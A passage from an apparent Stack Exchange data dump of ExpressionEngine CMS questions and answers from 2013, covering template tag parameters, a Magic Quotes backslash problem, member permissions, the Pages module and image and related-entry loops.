{exp:channel:entries channel=&quot;updates&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; dynamic=&quot;off&quot; status=&quot;open&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;                &amp;lt;div class=&quot;nine columns&quot;&amp;gt;&#xA;                    &amp;lt;article class=&quot;box-services-updates alpha&quot;&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;&#xA;                            {title}&#xA;                        &amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;img src=&quot;{updates_image}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;                            &amp;lt;p class=&quot;article-article&quot;&amp;gt;{updates_article}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/article&amp;gt;&#xA;                    &amp;lt;a class=&quot;updates-back&quot; href=&quot;/updates&quot;&amp;gt; &amp;amp;laquo; Back &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="69" LastEditDate="2013-08-19T22:15:06.317" LastActivityDate="2013-08-19T22:15:06.317" Title="Listing Page pullling in latest article for every article" Tags="|listing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12897" PostTypeId="1" CreationDate="2013-08-19T18:17:27.747" Score="1" ViewCount="59" Body="&lt;p&gt;About a week ago, one of our sites started acting very strangely.  For some reason, ExpressionEngine has started adding backslashes to all the quotes in the templates. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=\&quot;main\&quot;&amp;gt;&#xA;&#xA;        &amp;lt;!-- ABOUT SECTION SIDE NAV --&amp;gt;&#xA;        &amp;lt;nav id=\&quot;sub_nav\&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=\&quot;scroll ir\&quot; href=\&quot;#/about/overview\&quot;&amp;gt;Overview&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=\&quot;scroll ir\&quot; href=\&quot;#/about/design-excellence\&quot;&amp;gt;Design Excellence&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=\&quot;scroll ir\&quot; href=\&quot;#/about/rare-abilities\&quot;&amp;gt;Rare Abilities&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=\&quot;scroll ir\&quot; href=\&quot;#/about/relationships\&quot;&amp;gt;Relationships&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=\&quot;scroll ir\&quot; href=\&quot;#/about/testimonials\&quot;&amp;gt;Testimonials&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=\&quot;scroll ir\&quot; href=\&quot;#/about/our-partners-clients\&quot;&amp;gt;Our Partners &amp;amp; Clients&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=\&quot;scroll ir\&quot; href=\&quot;#/about/leadership\&quot;&amp;gt;Leadership&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=\&quot;scroll ir\&quot; href=\&quot;#/about/community\&quot;&amp;gt;Community&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=\&quot;scroll ir\&quot; href=\&quot;#/about/latest-news\&quot;&amp;gt;Latest News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=\&quot;scroll ir\&quot; href=\&quot;#/about/interested\&quot;&amp;gt;Interested?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice all the backslashes (this sample is all static code in the template, BTW).  In the actual template file... no backslashes.  Also, EE won't load in embedded templates.  I assume that is because it is adding the backslash to the template path as well and can't find them.  I can't for the life of me figure out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, we are not able to access the Admin through ANY of our logins.  No matter what we use, it says that the login is incorrect.  I have even &quot;successfully&quot; reset the passwords through the &quot;forgot your password&quot; function, but even the reset logins don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our client did have access to the admin, so my guess is that they added something somewhere that is causing the problem (they swear they didn't, of course).  The site has been running fine for months until just a few days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found someone else online that had a similar issue, but it was due to the word censor going haywire (see &lt;a href=&quot;http://ellislab.com/forums/viewthread/190206/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/190206/&lt;/a&gt;).  They were able to turn it off then back on in the Admin and the problem went away.  Even though the symptoms are similar, I don't think that's the issue here.  We aren't able to access the Admin to change the settings, and I commented out the word censor function in EE and it still added the slashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any ideas on what is happening, I'd greatly appreciate the help.  I'm at my wits end.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1403" LastActivityDate="2013-08-19T20:51:26.897" Title="Backslashes added to templates, login not working" Tags="|templates|parsing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12899" PostTypeId="2" ParentId="12896" CreationDate="2013-08-19T18:51:09.470" Score="1" Body="&lt;p&gt;On your detail page, assuming the content is triggered off the URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you need to have dynamic=&quot;yes&quot; to affect the channel entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;updates&quot; dynamic=&quot;yes&quot; limit=&quot;1&quot; status=&quot;open&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note too that you have both dynamic=&quot;off&quot; and dynamic=&quot;no&quot; in there. On your detail page, try removing both of those, and replace with dynamic=&quot;yes&quot;&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-19T18:51:09.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12901" PostTypeId="2" ParentId="12740" CreationDate="2013-08-19T20:09:19.907" Score="0" Body="&lt;p&gt;This obviously needs to be tested, but I was able to find this article and employing the solution it offered seems to work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.procata.com/blog/archives/2005/11/13/two-preg_replace-escaping-gotchas/&quot; rel=&quot;nofollow&quot;&gt;http://www.procata.com/blog/archives/2005/11/13/two-preg_replace-escaping-gotchas/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that the '$' has significance in the preg_replace replacement pattern so the $1 in the $1,099 becomes a back reference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just before line 1198 in the &lt;code&gt;ext.primary_category.php&lt;/code&gt; file I added this line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$tag_pair_data = preg_replace('/(\$|\\\\)(?=\d)/', '\\\\\1', $tag_pair_data);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to have resolved the bug for me. I've forwarded my findings to Solspace and I am posting this here just for completeness. Personally I would wait for an official fix from Solspace, but if you're brave (or desperate) you might try this. &lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2013-08-19T20:09:19.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12902" PostTypeId="2" ParentId="12897" CreationDate="2013-08-19T20:51:26.897" Score="2" Body="&lt;p&gt;Well....  You were right, Adam.  Apparently the host switched on Magic Quotes.  Not sure why, but they did.  I disabled it in the php.ini file and the site is back to normal.  NEVER thought of that.  Thanks for your quick response!&lt;/p&gt;&#xA;" OwnerUserId="1403" LastActivityDate="2013-08-19T20:51:26.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12903" PostTypeId="1" CreationDate="2013-08-19T21:25:48.237" Score="1" ViewCount="65" Body="&lt;p&gt;I have a member group for a client and I want to give them access to manage and register members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Control Panel Access&lt;/strong&gt;&#xA;Can access MEMBERS section: YES&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Control Panel Administration&lt;/strong&gt;&#xA;Can administrate members accounts YES&lt;br&gt;&#xA;Can change the group that a member is assigned to (Unlocked groups only) YES&lt;br&gt;&#xA;Can administrate member profile templates YES&lt;br&gt;&#xA;Can delete members YES&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They seem to be able to manage existing users, but get this error when they try and register a member &quot;You do not have the required permissions to add new members to any group.&quot; Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-08-19T21:36:41.280" Title="Can other member groups register members?" Tags="|members|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12904" PostTypeId="2" ParentId="12903" CreationDate="2013-08-19T21:36:41.280" Score="1" Body="&lt;p&gt;Ah, found it...Enable Group Security Lock...first time I had to even mess with that.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-08-19T21:36:41.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12905" PostTypeId="1" AcceptedAnswerId="12908" CreationDate="2013-08-19T22:12:07.663" Score="1" ViewCount="843" Body="&lt;p&gt;I am still learning Expression Engine so please forgive any misunderstanding or ignorance that I might have. I am using the Pages module and I want to be able to set which page is the default page for the whole site regardless of which template is used. Is this possible? If I need to elaborate upon any details please inform me.&lt;/p&gt;&#xA;" OwnerUserId="1917" LastActivityDate="2013-08-19T23:30:47.050" Title="Changing the default page from Pages module" Tags="|templates|module|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12906" PostTypeId="1" AcceptedAnswerId="12907" CreationDate="2013-08-19T23:03:14.060" Score="0" ViewCount="119" Body="&lt;p&gt;Each section of this site uses single entries as pages. So in the ABOUT US section, each page under ABOUT US is an entry in the about-us channel. Same for other main sections of the site. The client also needs one-off pages that are not in any of these sections. I've never used the Pages module because I've heard it's crap since I started using EE so I'm not sure if that is an option or not. I've used Structure before, but this site is too far along to install that. What's the best way to set this up so it's easy to do for the client?  &lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-08-19T23:24:48.213" Title="What's the best way to setup one-off pages in EE?" Tags="|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12907" PostTypeId="2" ParentId="12906" CreationDate="2013-08-19T23:24:48.213" Score="1" Body="&lt;p&gt;I use the Pages module extensively for standalone pages. I usually create a &quot;Standalone Web Pages&quot; channel to hold these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd create multiple different channels if I needed significantly different fields on different pages, and/or different categories or statuses. But, otherwise, one channel is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main human thing with using EE Pages is that you need content editors to enter the Page URI, rather than the URL title. I hide the URL title entry field on channels where I want a Page URI, and move the Page URI field where I'd otherwise put the URL Title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also, you need content editors to choose good Page URIs--if that's a big risk, then this might not work.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what's wrong with EE Pages, imho? Not much, really--but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if you list links to pages programmatically (e.g., Search module), you need to switch between {page_uri} and {url_title} depending on which is relevant to the specific entry&lt;/li&gt;&#xA;&lt;li&gt;if you ever want to run queries on the Pages in the database, you might need to go through an arcane process of extracting Page URIs via PHP, since they're stored in a seriously fugly manner in the database (they're all serialized into a single row/field in exp_sites!)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Otherwise, I find EE Pages sufficiently convenient for all standalone page content.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-19T23:24:48.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12908" PostTypeId="2" ParentId="12905" CreationDate="2013-08-19T23:30:47.050" Score="3" Body="&lt;p&gt;You can't do that from the Pages module. You can set the default template, and then, in that template, call a specific entry by entry_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of what I typically do in the default template (site home page)--e.g., site/index:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    entry_id=&quot;1&quot;&#xA;    channel=&quot;home_page&quot;&#xA;    disable=&quot;member_data|trackbacks|pagination|categories&quot;&#xA;    limit=&quot;1&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&#xA;... your template and page content...&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the template is pulling in a single entry's content. And, it's not using the Page URI at all on the entry with entry_id = 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would that work for you? It's not exactly what you described, but you &lt;em&gt;can't&lt;/em&gt; literally set a default Page for the site.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-19T23:30:47.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12909" PostTypeId="1" CreationDate="2013-08-20T01:25:16.723" Score="3" ViewCount="148" Body="&lt;p&gt;Is there a way to create a tag cloud based on tags of channel entries be displayed using {exp:tag:entries}.  In other words, tags related to the channel entries currently being displayed.&lt;/p&gt;&#xA;" OwnerUserId="1920" LastActivityDate="2013-08-20T19:29:54.480" Title="Create Tag Cloud of tags related to the channel entries being displayed" Tags="|solspace|solspace-tag|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12911" PostTypeId="2" ParentId="12909" CreationDate="2013-08-20T02:26:56.323" Score="0" Body="&lt;p&gt;I think you'll want to use &lt;a href=&quot;http://www.solspace.com/docs/tag/tags/&quot; rel=&quot;nofollow&quot;&gt;{exp:tag:tags}&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the example on that page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:tags&#xA;   entry_id=&quot;{entry_id}&quot;&#xA;   backspace=&quot;2&quot;&#xA;   orderby=&quot;tag_name&quot;&#xA;   sort=&quot;desc&quot;&#xA;   limit=&quot;10&quot;&#xA;}&#xA;   &amp;lt;a href=&quot;{path='articles/by_tag'}/tag/{websafe_tag}&quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;,&#xA;{/exp:tag:tags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that handle what you need?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-20T02:26:56.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12912" PostTypeId="2" ParentId="12827" CreationDate="2013-08-20T03:56:30.383" Score="0" Body="&lt;p&gt;Ok, I've been able to replicate the same issue in my setup up and solved it with a plugin as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:yak_bus:grant_access url_title = &quot;{segment_3}&quot;}{if response == &quot;no&quot;}{redirect=&quot;access/not_authorised&quot;}{/if}{/exp:yak_bus:grant_access}&#xA;&#xA;public function grant_access ()&#xA;{&#xA;    $url_title = (ee()-&gt;TMPL-&gt;fetch_param('url_title') != '') ? ee()-&gt;db-&gt;escape_str(ee()-&gt;TMPL-&gt;fetch_param('url_title')) : FALSE;&#xA;&#xA;    if ( ! $url_title) return;&#xA;&#xA;    $query = ee()-&gt;db-&gt;query(&quot;SELECT url_title, author_id &#xA;        FROM exp_channel_titles &#xA;        WHERE url_title = '&quot; .$url_title . &quot;'&quot;);&#xA;&#xA;    if ($query-&gt;num_rows == 0 )&#xA;    {&#xA;        // not a valid url - so could be another page within mybusiness, thats ok&#xA;        return;&#xA;    }&#xA;&#xA;    if ($query-&gt;row('author_id') != ee()-&gt;session-&gt;userdata('member_id'))&#xA;    {&#xA;        $vars = array('response' =&gt; 'no');&#xA;        return $this-&gt;return_data = ee()-&gt;TMPL-&gt;parse_variables_row(ee()-&gt;TMPL-&gt;tagdata, $vars);&#xA;    }&#xA;&#xA;    return;&#xA;}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you need a start with a plugin&#xA;&lt;a href=&quot;http://pkg.io/&quot; rel=&quot;nofollow&quot;&gt;pkg,io&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-08-20T03:56:30.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12913" PostTypeId="1" AcceptedAnswerId="12915" CreationDate="2013-08-20T07:34:03.030" Score="2" ViewCount="100" Body="&lt;p&gt;I have looked at &lt;a href=&quot;http://www.putyourlightson.net/multi-language-module&quot; rel=&quot;nofollow&quot;&gt;Multi Language Module&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/multi-language-support&quot; rel=&quot;nofollow&quot;&gt;Multi Language Support&lt;/a&gt; add-ons as solutions for multi language support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, both of them require adding a segment in the url/ Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/en/page&#xA;http://domain.com/fr/page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I really don't like this because it would break pages which rely on how segments are placed. For example, if I expected &lt;code&gt;segment_3&lt;/code&gt; to be X data in a page without the two-char language code in the url, adding the language code would break that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other solutions/addons that don't need to do this? Maybe something like a global variable is set instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are there ways in the listed addons to circumvent this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-08-22T01:35:00.217" LastActivityDate="2013-08-22T01:35:00.217" Title="Multilangauge Solution that doesn't require using segments" Tags="|multi-language|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12914" PostTypeId="2" ParentId="12913" CreationDate="2013-08-20T08:21:46.233" Score="1" Body="&lt;p&gt;There aren't many solutions that don't require an addon. Here's how I did one recently &lt;a href=&quot;http://digitalevangelist.net/blog/multi-lingual-expressionengine-practical&quot; rel=&quot;nofollow&quot;&gt;http://digitalevangelist.net/blog/multi-lingual-expressionengine-practical&lt;/a&gt; and here's the one I've used that doesn't need an addon &lt;a href=&quot;http://cwcrawley.co.uk/2010/01/multi-lingual-websites-in-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://cwcrawley.co.uk/2010/01/multi-lingual-websites-in-expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-20T08:21:46.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12915" PostTypeId="2" ParentId="12913" CreationDate="2013-08-20T08:24:40.140" Score="2" Body="&lt;p&gt;The language code within the URL wouldn't break the URL segment for the pages. It would be same as &lt;a href=&quot;http://yoursite.com/en/segment_1/segment_2/segment_3&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com/en/segment_1/segment_2/segment_3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a look at &lt;a href=&quot;http://www.sidd3.com/multi-language-website-with-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;Multi Language Website with ExpressionEngine&lt;/a&gt;&#xA;how a multilanguage website can be managed easily.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-20T08:24:40.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12916" PostTypeId="2" ParentId="12858" CreationDate="2013-08-20T08:43:37.363" Score="0" Body="&lt;p&gt;Mark croxton has responded to your issue. He's the author of stash. Read his post. Read the documentation for stash. Your issue is parse order.&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-08-20T08:43:37.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12917" PostTypeId="1" CreationDate="2013-08-20T08:48:21.317" Score="2" ViewCount="706" Body="&lt;p&gt;I was wondering if anyone has a decent trick to show 4 images in a row from multiple entries  containing channel images. So the four newest channel-images no matter which entry they come from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I don't know how may images an entry will contain, since you can put any number of images in an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;codewise:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;4&quot;}&#xA;       {channel_images_field} &#xA;       &amp;lt;img src=&quot;{image:url:large}&quot; /&amp;gt;&#xA;       {/channel_images_field}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Will output any number of images, depending on the amount of images in the channel_images_field. It could be 3+2+5+7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could of course erase the rest using brute force js frontend or with css overflow:hidden, but I'd rather just parse 4 from the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complete tag is inside a category tag and contains another EE field, making it difficult to use the channel_images tag outside the channel entries tag. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;gallery&quot;}&#xA;{exp:channel:entries channel=&quot;gallery&quot; dynamic=&quot;no&quot; category=&quot;{category_id}&quot; limit=&quot;4&quot;}&#xA;    {channel_images_field} &#xA;        &amp;lt;img src=&quot;{image:url:large}&quot; /&amp;gt;&#xA;        {comment_field_poster}&#xA;    {/channel_images_field}&#xA;{/exp:channel:entries}&#xA;{/exp:channel:categories} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose that makes it impossible to really solve it due to nesting issues. It's either all images from a channel, agnostic to the related entries, or the images inside a specified entry tag, agnostic to the channel_images total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See it live here: &lt;a href=&quot;http://www.fotografielessen.nl/index.php/Fotoalbum/&quot; rel=&quot;nofollow&quot;&gt;http://www.fotografielessen.nl/index.php/Fotoalbum/&lt;/a&gt; (now showing the first four entries with all the images, sorted by category)&lt;/p&gt;&#xA;" OwnerUserId="555" LastEditorUserId="555" LastEditDate="2013-08-21T15:13:53.023" LastActivityDate="2013-08-21T15:13:53.023" Title="Fixed number of displayed images with channel images inside entries loop" Tags="|channel-images|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12918" PostTypeId="2" ParentId="12917" CreationDate="2013-08-20T09:16:27.730" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://www.devdemon.com/docs/channel_images/tags/images.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; seem to suggest you can use the &lt;code&gt;{exp:channel_images:images}&lt;/code&gt; tag outside of the &lt;code&gt;channel:entries&lt;/code&gt; loop. Have you tried that? So adding the channel, category, limit, orderby and sort parameters. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_images:images channel=&quot;&amp;lt;your-channel&amp;gt;&quot; category=&quot;&amp;lt;your-category(s)&amp;gt;&quot; limit=&quot;4&quot; orderby=&quot;upload_date&quot; sort=&quot;desc&quot;}&#xA;    &amp;lt;!-- Template Code --&amp;gt;&#xA;{/exp:channel_images:images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Failing that, you could always use a separate &lt;code&gt;channel:entries&lt;/code&gt; loop for the images and limit that to 4 entries making sure you've ordered it by entry date. Then within that limit your channel_entries loop to 1 image. This assumes you will always have 1 or more images per channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;4&quot;}&#xA;       {channel_images_field limit=&quot;1&quot;} &#xA;       &amp;lt;img src=&quot;{image:url:large}&quot; /&amp;gt;&#xA;       {/channel_images_field}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-20T12:09:29.367" LastActivityDate="2013-08-20T12:09:29.367" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12919" PostTypeId="2" ParentId="12917" CreationDate="2013-08-20T09:35:14.720" Score="0" Body="&lt;pre&gt;{exp:channel:entries channel=&quot;channel_name&quot; limit=&quot;10&quot;}&#xA;        {exp:channel_images:images entry_id=&quot;{entry_id}&quot; prefix=&quot;nested&quot; limit=&quot;4&quot;}&#xA;        {/exp:channel_images:images}&#xA;{/exp:channel:entries}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try that. Basic stuff. Read the docs on channel images.&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-08-20T09:35:14.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12920" PostTypeId="1" AcceptedAnswerId="12921" CreationDate="2013-08-20T10:55:45.287" Score="0" ViewCount="99" Body="&lt;p&gt;I was wondering if anybody knows what the status is on Store updating the iDEAL payment method.&#xA;Is it gonna be updated to the new version of iDEAL in the next version of Store?&#xA;Is there a release date already?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any information will be helpull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1496" LastActivityDate="2013-08-20T11:08:50.937" Title="Expresso Store iDEAL update status?" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12921" PostTypeId="2" ParentId="12920" CreationDate="2013-08-20T11:08:50.937" Score="1" Body="&lt;p&gt;For these type of questions it is usually best to email support@exp-resso.com. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that a new version of Store is currently under active development which will support iDEAL v3 but I do not have an estimated release date. You should be able to contact iDEAL about having v2 implemented for your account which will allow you to use it with the currently released version of Store (1.6.4).&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-08-20T11:08:50.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12922" PostTypeId="1" AcceptedAnswerId="12935" CreationDate="2013-08-20T11:10:39.877" Score="3" ViewCount="390" Body="&lt;p&gt;On our Single entry pages we recommend other articles. &#xA;Four slots are available.&#xA;channel: articles. &#xA;channel fields: Content Elements field for the text and a native EE Relationship field called &quot;related_articles&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here´s the editorial workflow:&#xA;After writing the article an editor can select between 0 and 4 articles manually. The EE-field &quot;related_articles&quot; will be used for that. All relationships are between entries of the same channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 4 slots to fill. EE will fill the empty slots automatically with articles from the same category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example: The editor wrote an article in the category A and manually added one related article. Then EE has to add three more category A articles to the mix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code for the editor´s picks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;article&quot;}&#xA;    {related_articles}&#xA;       &amp;lt;p&amp;gt;{related_articles:title}&amp;lt;/p&amp;gt;&#xA;    {/related_articles}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my code for the stuff, that EE adds automatically.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='article' &#xA;    related_categories_mode='yes' &#xA;    custom_fields='yes' &#xA;    limit='{4 - count_of_editors_pick}' &#xA;    entry_id='not {the_IDs_from_editors_pick}'&#xA;}&#xA;  &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both work well solo, but how do I combine them? I tried the math plugin plus the session variables plugin. I stored the {count} for the first loop in {rel_art}, so I know, how many articles the editor added.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:math formula='4 - [1]' params='{exp:session_variables:get name=&quot;rel_art&quot;}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it seems, that I run into a parse order issue here. I can´t use this to set the limit parameter within the channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I limit EE´s related categories loop so that it fills up the remaining slots?&lt;/li&gt;&#xA;&lt;li&gt;How do I avoid entry dublications? EE should not add any entries choosen by the 